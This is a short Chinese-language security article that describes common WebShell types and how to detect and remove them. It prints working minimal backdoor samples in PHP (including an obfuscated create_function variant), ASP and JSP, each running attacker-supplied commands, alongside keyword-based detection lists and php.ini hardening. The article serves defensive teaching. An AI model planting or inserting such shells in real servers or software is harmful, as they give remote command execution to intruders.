常见 WebShell 类型及查杀方法

一、WebShell 概述

WebShell 是一种基于 Web 的恶意脚本程序，通常以动态脚本语言（如 PHP、ASP、JSP）编写，攻击者通过文件上传漏洞或代码注入等方式植入服务器。一旦成功，攻击者可通过 WebShell 执行任意命令、窃取数据或进一步渗透内网。

二、常见 WebShell 类型

1. PHP WebShell

PHP 是最常见的 WebShell 语言，典型特征是通过 system()、exec() 等函数执行系统命令：

<?php @eval($_POST['cmd']); ?>

2. ASP WebShell

ASP 类 WebShell 多用于 Windows 服务器，常利用 WScript.Shell 组件：

<%
Set ws = CreateObject("WScript.Shell")
ws.Run("cmd.exe /c " & Request("cmd"),0)
%>

3. JSP WebShell

JSP WebShell 通常通过 Java 的 Runtime 类执行命令：

<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

4. 混淆型 WebShell

高级 WebShell 会使用编码混淆（如 Base64、Gzip）或动态函数调用逃避检测：

<?php 
$f = 'c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';
$f('',$_GET['x']);
?>

三、WebShell 查杀方法

1. 文件特征扫描

使用专业工具扫描可疑文件：

• 关键词检测：查找 eval、system、shell_exec 等危险函数
• 哈希比对：对比文件哈希值与官方版本
• 时间戳分析：检查异常修改时间的文件

2. 日志行为分析

重点关注以下日志条目：

 Apache 日志示例
192.168.1.100 - - [01/Jan/2023:15:30:45] "POST /uploads/test.php HTTP/1.1" 200 512

3. 网络流量监控

检测异常流量模式：

• 非常规端口通信
• 高频次小数据包传输
• 加密或编码的 HTTP 请求

4. 防御加固措施

1. 禁用危险函数：在 php.ini 中设置 disable_functions = exec,system,passthru
2. 严格文件上传策略：限制扩展名、设置不可执行权限
3. 定期更新补丁：修复 CMS 和框架漏洞

四、专业查杀工具推荐

WebShell 防御需要结合技术手段和管理制度，建议建立文件完整性监控（FIM）系统，并定期进行渗透测试。